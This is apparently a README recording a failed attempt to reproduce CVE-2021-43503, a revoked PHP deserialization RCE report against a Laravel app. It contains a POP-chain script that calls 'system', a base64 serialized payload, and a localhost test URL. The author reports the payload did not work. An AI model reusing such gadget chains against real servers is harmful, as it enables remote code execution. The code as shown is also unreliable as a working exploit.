kang8 / CVE-2021-43503

Case for CVE-2021-43503

Warning The vulnerability has been revoked

Override

This is Abount CVE-2021-43503, I can not replicate this vulnerability through exp

Requirement

• PHP 7.1.*
• Composer <= 2.2.12

Recover vulnerability

1. Startup service

   composer install
   cp .env.example .env
   php artisan key:generate
   php artisan serve # it will listening 8000 port in localhost

2. encode POP chain

   <?php
   
   namespace Illuminate\Routing{
       class PendingResourceRegistration{
           protected $registrar;
           protected $name;
           protected $controller;
           protected $options = [];
           protected $registered = false;
           public function __construct($b){
               $this->registrar=$b;
           }
       }
   }
   
   
   namespace Illuminate\Queue\Capsule{
       class Manager{
           protected $manager;
           public function __construct($c)
           {
               $this->manager->method=$c;
           }
   
       }
   }
   
   namespace Mockery{
       class ClosureWrapper{
           private $closure;
           public function __construct(){
               $this->closure="system";
           }
       }
   }
   
   namespace{
   
       use Illuminate\Queue\Capsule\Manager;
       use Illuminate\Routing\PendingResourceRegistration;
       use Mockery\ClosureWrapper;
   
       $c=new ClosureWrapper("mkdir hello");
       $b=new Manager($c);
       $a=new PendingResourceRegistration($b);
   
       echo base64_encode(serialize($a));
   }

   Note

   I repalce urlencode(serialize($a)) with base64_encode(serialize($a))

   And I repalce dir with mkdir hello to reflect the successful execution of RCE

   It will be output above(ignore Warning):

   Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6NTp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjMyOiJJbGx1bWluYXRlXFF1ZXVlXENhcHN1bGVcTWFuYWdlciI6MTp7czoxMDoiACoAbWFuYWdlciI7Tzo4OiJzdGRDbGFzcyI6MTp7czo2OiJtZXRob2QiO086MjI6Ik1vY2tlcnlcQ2xvc3VyZVdyYXBwZXIiOjE6e3M6MzE6IgBNb2NrZXJ5XENsb3N1cmVXcmFwcGVyAGNsb3N1cmUiO3M6Njoic3lzdGVtIjt9fX1zOjc6IgAqAG5hbWUiO047czoxMzoiACoAY29udHJvbGxlciI7TjtzOjEwOiIAKgBvcHRpb25zIjthOjA6e31zOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7fQ==
   

3. Test from GET of HTTP:

   Access the http://localhost:8000/?ser=Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6NTp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjMyOiJJbGx1bWluYXRlXFF1ZXVlXENhcHN1bGVcTWFuYWdlciI6MTp7czoxMDoiACoAbWFuYWdlciI7Tzo4OiJzdGRDbGFzcyI6MTp7czo2OiJtZXRob2QiO086MjI6Ik1vY2tlcnlcQ2xvc3VyZVdyYXBwZXIiOjE6e3M6MzE6IgBNb2NrZXJ5XENsb3N1cmVXcmFwcGVyAGNsb3N1cmUiO3M6Njoic3lzdGVtIjt9fX1zOjc6IgAqAG5hbWUiO047czoxMzoiACoAY29udHJvbGxlciI7TjtzOjEwOiIAKgBvcHRpb25zIjthOjA6e31zOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7fQ== through the browser.

   

   It did not successfully create hello/ in public/